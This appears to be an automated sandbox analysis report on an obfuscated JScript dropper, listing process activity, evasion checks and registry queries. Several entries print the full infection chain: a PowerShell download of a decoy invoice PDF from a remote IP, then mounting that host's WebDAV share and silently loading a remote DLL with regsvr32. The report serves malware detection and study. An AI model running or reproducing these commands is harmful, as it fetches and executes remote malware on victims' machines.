Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6865.js.csv");ITextStream.WriteLine(" entry:7400 f:efbzcyaer");ITextStream.WriteLine(" exec:2 f:efbzcyaer");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4563			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4669			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep count: 4563 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6388	Thread sleep count: 4669 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1856	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6768	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4836	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5748	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7296	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2110816997.000002234C8EF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2106672335.000002234C8EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq
Source: svchost.exe, 00000009.00000002.3322449572.000001AC6DC2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@y%s
Source: net.exe, 00000007.00000002.2110816997.000002234C8EF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2106672335.000002234C8EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3323398727.000001AC73254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2110582081.000002234C888000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
